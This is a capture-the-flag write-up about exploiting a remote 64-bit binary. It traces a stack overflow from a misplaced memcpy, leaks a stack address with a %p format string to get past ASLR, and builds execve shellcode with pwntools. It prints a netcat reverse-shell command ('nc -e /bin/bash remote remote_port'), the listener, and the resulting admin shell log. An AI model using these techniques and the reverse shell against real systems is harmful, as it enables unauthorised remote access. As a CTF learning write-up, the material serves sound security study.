It's been about 4 months since I've done any serious reversing / binary exploitation, so warming up with an exploitation of a remote binary with ASLR wasn't exactly what I had in mind, but a challenge is a challenge.
First steps
File

Checking the output of the file command shows that it's a 64 bit statically linked and stripped binary... Reversing and dynamic analysis won't be fun... But I've got a 64 bit linux machine to run it on.
Checksec

Starting by running checksec, thankfully the binary doesn't have any other security, which makes it much simpler after I can find an exploitable crash.
Ghidra
My next step was to update Ghidra and to try to familiarize myself with some intel flavored assembly. I spent some time looking through, but I realized that I didn't know what inputs I was looking for so we'll come back to this.
GDB

I can't insert a breakpoint if I don't know where the code is, so I had to first find the entrypoint of the program without readelf at 0x4003a0
. This actually didn't help since I was busy stepping through a bunch of assembly without any knowledge of what the program does. I'm not saying it's impossible to do, but it is tedious and I'm trying to solve the challenge, not understand what memory it moves to start.
File Behavior
It would help if I knew an outline of what the progam was doing, so running the program with ./binary
and connecting to it with nc localhost 2999
gave me some insight. I'm not going to provide screenshots of the output because I don't want to spoil this challenge for other people. I'll be vague on the specifics, but the important parts will be included.
Once the netcat session is established, the binary sends a welcome message and explains the service. Essentially it's an "encryption" service – a user provides an input and receives the "encrypted" output. The user is able to provide a couple inputs and then the connection closes.
With this we can jump back into Ghidra and find the data in the binary, then find the references to it and then we'll be able to trace the execution statically from there.
Finding the Vulnerable Crash in Ghidra

Using the defined strings window we can search for the "welcome" string and get the address of the string.


Using the symbol table and symbol references we can find locations in the program that reference the string. This is great for me because the function that looped through all of the inputs received was directly referencing this string. After finding this function, I can now create breakpoints at what I believe to be an important part of the program and figure out what the stripped function calls are.
After some dynamic analysis with GDB I was able to identify the memset call to zero out one of the two buffers this function uses. And 2 memcpy calls.
local variables
undefined8 socket_read_ret;
long send_socket_ret;
char out_buf [512];
char input_output_buf [520];
int socket_read_size;
int i;
This is going to be important later!
memcpy calls
These stood out to me since there were 2 of them. Here's the code block with my renames and retypes.
memcpy(out_buf,input_output_buf,(long)socket_read_size);
encrypt(out_buf,socket_read_size);
memcpy(input_output_buf + socket_read_size,out_buf,(long)socket_read_size);
Take a moment and look at these and see if anything jumps out...
Anything? Cuz I didn't see anything either. The socket is reading 0x200==512
into the buffer and won't be able to reach the socket_read_ret
to modify the value of the second memcpy
. So let's see what's happening in GDB
Back to GDB!
There's a lot of raw memory here so let's go through it step by step
Stack before the first memcpy call
gef➤ x/268xw $rsp
0x7fffffffd130: 0x00000000 0x00000000 0x00000004 0x00000004
# vvv out_buf
0x7fffffffd140: 0xXXXXXXXX 0x0000000a 0x00000000 0x00000000
0x7fffffffd150: 0x00000000 0x00000000 0x00000000 0x00000000
...snip...
# vvv input_output_buf
0x7fffffffd340: 0x61616161 0x61616162 0x61616163 0x61616164
0x7fffffffd350: 0x61616165 0x61616166 0x61616167 0x61616168
0x7fffffffd360: 0x61616169 0x6161616a 0x6161616b 0x6161616c
0x7fffffffd370: 0x6161616d 0x6161616e 0x6161616f 0x61616170
0x7fffffffd380: 0x61616171 0x61616172 0x61616173 0x61616174
0x7fffffffd390: 0x61616175 0x61616176 0x61616177 0x61616178
0x7fffffffd3a0: 0x61616179 0x6261617a 0x62616162 0x62616163
0x7fffffffd3b0: 0x62616164 0x62616165 0x62616166 0x62616167
0x7fffffffd3c0: 0x62616168 0x62616169 0x6261616a 0x6261616b
0x7fffffffd3d0: 0x6261616c 0x6261616d 0x6261616e 0x6261616f
0x7fffffffd3e0: 0x62616170 0x62616171 0x62616172 0x62616173
0x7fffffffd3f0: 0x62616174 0x62616175 0x62616176 0x62616177
0x7fffffffd400: 0x62616178 0x62616179 0x6361617a 0x63616162
0x7fffffffd410: 0x63616163 0x63616164 0x63616165 0x63616166
0x7fffffffd420: 0x63616167 0x63616168 0x63616169 0x6361616a
0x7fffffffd430: 0x6361616b 0x6361616c 0x6361616d 0x6361616e
0x7fffffffd440: 0x0000000a 0x00000000 0x00000000 0x00000000
...snip...
# vv socket_read_size v i
0x7fffffffd540: 0x00000000 0x00000000 0x00000101 0x00000001
# vv saved return address
0x7fffffffd550: 0xffffd590 0x00007fff 0x004008e1 0x00000000
This looks normal, the out_buf
is from the previous run (only the input_output_buf
gets memset
) and the input_output_buf
is from our cyclic 256
input and the newline character 0x0a
. We can also see the socket_read_size
, i
, and the saved return address.
Stack after first memcpy call
gef➤ x/268xw $rsp
0x7fffffffd130: 0x00000000 0x00000000 0x00000004 0x00000004
# vvv out_buf
0x7fffffffd140: 0x61616161 0x61616162 0x61616163 0x61616164
...snip...
0x7fffffffd230: 0x6361616b 0x6361616c 0x6361616d 0x6361616e
0x7fffffffd240: 0x0000000a 0x00000000 0x00000000 0x00000000
...snip...
# vvv input_output_buf
0x7fffffffd340: 0x61616161 0x61616162 0x61616163 0x61616164
...snip...
0x7fffffffd430: 0x6361616b 0x6361616c 0x6361616d 0x6361616e
0x7fffffffd440: 0x0000000a 0x00000000 0x00000000 0x00000000
...snip...
0x7fffffffd530: 0x00000000 0x00000000 0x00000000 0x00000000
# vv socket_read_size v i
0x7fffffffd540: 0x00000000 0x00000000 0x00000101 0x00000001
# vv saved return address
0x7fffffffd550: 0xffffd590 0x00007fff 0x004008e1 0x00000000
This memcpy call copies the input into the out_buf
, nothing interesting here.
Second memcpy (after "encryption" call)
Here's where things get interesting, lets look at the parameters to the call:
arguments (guessed)
0x410340 (
$rdi = 0x00007fffffffd441 → 0x0000000000000000,
$rsi = 0x00007fffffffd140 → "[...]",
$rdx = 0x0000000000000101,
$rcx = 0x00007fffffffd441 → 0x0000000000000000
)
void *memcpy(void *restrict dest, const void *restrict src, size_t n);
The destination is after the input in the input_output_buf
! Despite the read and copies being less than the size of the buffer, there is still a write to outside of the buffer. Big day for us, even with a little over half of the buffer, we can almost reach the saved return address
gef➤ x/268xw $rsp
0x7fffffffd130: 0x00000000 0x00000000 0x00000004 0x00000004
# vvv out_buf
0x7fffffffd140: 0xXXXXXXXX 0xXXXXXXXX 0xXXXXXXXX 0xXXXXXXXX
...snip...
# vvv input_output_buf
0x7fffffffd340: 0x61616161 0x61616162 0x61616163 0x61616164
...snip
0x7fffffffd430: 0x6361616b 0x6361616c 0x6361616d 0x6361616e
0x7fffffffd440: 0xXXXXXX0a 0xXXXXXXXX 0xXXXXXXXX 0xXXXXXXXX
...snip...
0x7fffffffd530: 0xXXXXXXXX 0xXXXXXXXX 0xXXXXXXXX 0xXXXXXXXX
# end of memcpy data vvvv vv socket_read_size v i
0x7fffffffd540: 0x00000aXX 0x00000000 0x00000101 0x00000001
# vv saved return address
0x7fffffffd550: 0xffffd590 0x00007fff 0x004008e1 0x00000000
Some maths (255 + 32 / 2) shows us that an input of size 271 will overwrite the return address – to confirm we can overwrite the return address
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "binary", stopped 0x40075a in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────── trace ────
[#0] 0x40075a → ret
Win, but not yet exploitable because of ASLR, we won't be able to do return to anywhere without a leak.
The Leak
When I think of leaks I think of format string attacks. On this thought I entered %x
as an input, and out popped ffffd340
...
Some more reading into format strings and I used %p
to get a proper address: 0x7fffffffd340
which just happens to correspond to the address of the input_output_buf
.
The Payload
To get the flag I had to run an executable at /home/admin/flag
with my token. All I have to do is call execve
on the flag
executable with shellcode. To do this I used pwntools' shellcraft
library. It's super easy, just set the architecture and write out the arguments in shellcraft.execve()
.
One hitch, the socket gets closed before the function returns...
Reverse shell
I wasn't planning on creating a reverse shell, but the flag is within my grasp.
Using the nc
's -e
(execs a command) we can create a super simple reverse shell like so: nc -e /bin/bash remote remote_port
.
On our remote server we use nc -lvp remote_port
(-l
is listen, -v
is verbose, -p
is port) to wait for our reverse shell to call back to us.
Running the exploit we get our reverse shell
nc -nlvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 111.111.111.111 12345 received!
whoami
admin
/home/admin/flag my_token
flag{yehaw_this_isn't_the_real_flag}